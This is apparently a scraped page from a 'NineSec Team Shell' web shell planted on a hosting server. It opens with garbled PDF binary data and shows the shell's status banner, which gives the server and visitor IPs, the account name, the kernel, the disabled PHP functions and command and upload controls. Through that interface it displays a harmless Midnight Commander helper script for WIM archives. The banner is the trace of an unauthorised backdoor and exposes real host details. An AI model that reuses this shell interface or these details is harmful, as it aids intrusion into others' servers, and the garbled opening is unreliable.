%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 216.73.216.7
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../home/../usr/include/openssl/../../libexec/mc/extfs.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../home/../usr/include/openssl/../../libexec/mc/extfs.d/uwim
#!/usr/bin/sh
# Midnight Commander - WIM suport
#
# Written by:
#  Vadim Kalinnikov <[email protected]>,
#
# This file is part of the Midnight Commander.
#
# It required wimtools: https://wimlib.net/
# On Debian/Ubuntu wimtools can be installed via:
# apt install wimtools

which wimlib-imagex 2>/dev/null > /dev/null || exit 1
WIM=`which wimlib-imagex`
AWK=gawk

[ -n "$2" ] || exit 1

ACTION=$1
WIMFILENAME=$2

mcwim_list() {
	# Here we can use "Image count" from output,
	# but on some borken images we can get garbage, instead of number
	IMAGECOUNT=`${WIM} info ${WIMFILENAME} | grep  Index: | grep -v Boot | wc -l`
	IMGNUM=1
	VUID=`id -nu`
	VGID=`id -ng`
	while [ ${IMGNUM} -le ${IMAGECOUNT} ]; do
		${WIM} dir ${WIMFILENAME} ${IMGNUM} --detailed | \
			${AWK}  -v uid=${VUID} -v gid=${VGID} -v imgnum=${IMGNUM} '
				/^----------------------------------------------------------------------------/,/^$/ {
					if (match($0, /^Full Path/)) {
						split($0, namesrc, "\"");
						name=namesrc[2];
					}
					if (match($0, /FILE_ATTRIBUTE_DIRECTORY is set/)) {
						attr="drwxr-xr-x"
					}
					if (match($0, /^Uncompressed size/)) {
						size=$4;
					}
					if (match($0, /^Last Write Time/)) {
						months["Jan"] = "01";
						months["Feb"] = "02";
						months["Mar"] = "03";
						months["Apr"] = "04";
						months["May"] = "05";
						months["Jun"] = "06";
						months["Jul"] = "07";
						months["Aug"] = "08";
						months["Sep"] = "09";
						months["Oct"] = "10";
						months["Nov"] = "11";
						months["Dec"] = "12";
						split($0, mtimesrc, " ");
						mtime=sprintf("%s/%s/%s %s", months[mtimesrc[6]], mtimesrc[7], mtimesrc[9], mtimesrc[8]);
					}
					
					if (match($0, /^$/)) {
						printf("%s 1 %s %s % 20s % 24s IMAGE%s%s\n",
							attr, uid, gid, size, mtime, imgnum, name);
						name = size = mtime = "";
						attr="-rw-r--r--";
					}
				}
			'
		
		IMGNUM=$((IMGNUM+1))
	done
	
	# Virtual files
	echo "-r-xr-xr-x 1 ${VUID} ${VGID}                    1      01/01/2020 00:00:00 OPTIMIZE"
	echo "-r-xr-xr-x 1 ${VUID} ${VGID}                    1      01/01/2020 00:00:00 VERIFY"
}

mcwim_copyout() {
	# Virtual files
	if [ "${FILENAMESRC}" = "OPTIMIZE" ]; then
		echo "#/bin/sh" > ${FILENAMEDST}
		echo "# Run this to optimize archive" >> ${FILENAMEDST}
		echo "${WIM} optimize \"${WIMFILENAME}\"" >> ${FILENAMEDST}
		chmod a+x ${FILENAMEDST}
		exit 0;
	elif [ "${FILENAMESRC}" = "VERIFY" ]; then
		echo "#/bin/sh" > ${FILENAMEDST}
		echo "# Run this to verify archive" >> ${FILENAMEDST}
		echo "${WIM} verify \"${WIMFILENAME}\"" >> ${FILENAMEDST}
		chmod a+x ${FILENAMEDST}
		exit 0;
	fi

	# Filename must contain imgnum
	echo ${FILENAMESRC} | grep -E '^IMAGE[0-9]+/' || exit 1

	IMGNUM=`echo ${FILENAMESRC} | cut -d '/' -f1 | sed "s/IMAGE//"`
	REALFILENAME=`echo ${FILENAMESRC} | sed "s/IMAGE${IMGNUM}//"`
	${WIM} extract ${WIMFILENAME} ${IMGNUM} ${REALFILENAME} --to-stdout > ${FILENAMEDST}
}

mcwim_copyin() {
	# Skip virtual files
	[ "${FILENAMEDST}" = "OPTIMIZE" ] && exit 1;
	[ "${FILENAMEDST}" = "VERIFY" ] && exit 1;

	# Filename must contain imgnum
	echo ${FILENAMEDST} | grep -E '^IMAGE[0-9]+/' || exit 1

	IMGNUM=`echo ${FILENAMEDST} | cut -d '/' -f1 | sed "s/IMAGE//"`
	REALFILENAME=`echo ${FILENAMEDST} | sed "s/IMAGE${IMGNUM}//"`
	echo "add \"${FILENAMESRC}\" \"${REALFILENAME}\"" | ${WIM} update ${WIMFILENAME} ${IMGNUM} > /dev/null
}


mcwim_rm() {
	# Skip virtual files
	[ "${FILENAMESRC}" = "OPTIMIZE" ] && exit 0;
	[ "${FILENAMESRC}" = "VERIFY" ] && exit 0;

	# Filename must contain imgnum
	echo ${FILENAMESRC} | grep -E '^IMAGE[0-9]+/' || exit 1
	
	IMGNUM=`echo ${FILENAMESRC} | cut -d '/' -f1 | sed "s/IMAGE//"`
	REALFILENAME=`echo ${FILENAMESRC} | sed "s/IMAGE${IMGNUM}//"`

	if [ -z "${REALFILENAME}" ]; then
		# If user want to remove image
		${WIM} delete ${WIMFILENAME} ${IMGNUM}
	else
		# remove regular file or directory
		echo "delete \"${REALFILENAME}\"" | ${WIM} update ${WIMFILENAME} ${IMGNUM} --force --recursive > /dev/null
	fi
}

mcwim_run() {
	case ${RUNFILENAME} in
		OPTIMIZE)
			${WIM} optimize ${WIMFILENAME}
			exit 0;
		;;
		VERIFY)
			${WIM} verify ${WIMFILENAME}
			exit 0;
		;;
	esac
	exit 1;
}


mcwim_mkdir() {
	# New dirname must contain imgnum
	echo ${NEWDIRNAME} | grep -E '^IMAGE[0-9]+/' || exit 1
	IMGNUM=`echo ${NEWDIRNAME} | cut -d '/' -f1 | sed "s/IMAGE//"`
	REALDIRNAME=`echo ${NEWDIRNAME} | sed "s/IMAGE${IMGNUM}//"`
	[ -z "${REALDIRNAME}" ] && exit 1
	
	TMPDIR=`mktemp -d`
	DSTBASENAME=`basename ${REALDIRNAME}`
	SRCDIRNAME="${TMPDIR}/${DSTBASENAME}"
	mkdir -p ${SRCDIRNAME}
	echo "add \"${SRCDIRNAME}\" \"${REALDIRNAME}\"" | ${WIM} update ${WIMFILENAME} ${IMGNUM} > /dev/null
	rm -rf ${TMPDIR}
}

#echo "'$1' '$2' '$3' '$4' '$5'" >> /tmp/mcdebug

case "$ACTION" in
	list)
		mcwim_list
	;;
	
	copyout)
		[ -n "$4" ] || exit 1
		FILENAMESRC="$3"
		FILENAMEDST="$4"
		mcwim_copyout
	;;
	
	copyin)
		[ -n "$4" ] || exit 1
		FILENAMEDST="$3"
		FILENAMESRC="$4"
		mcwim_copyin
	;;
	
	rm|rmdir)
		[ -n "$3" ] || exit 1
		FILENAMESRC="$3"
		mcwim_rm
	;;
	
	run)
		[ -n "$3" ] || exit 1
		RUNFILENAME="$3"
		mcwim_run
	;;
	
	mkdir)
		[ -n "$3" ] || exit 1
		NEWDIRNAME="$3"
		mcwim_mkdir
	;;
	

	*)
		exit 1
	;;
esac

NineSec Team - 2022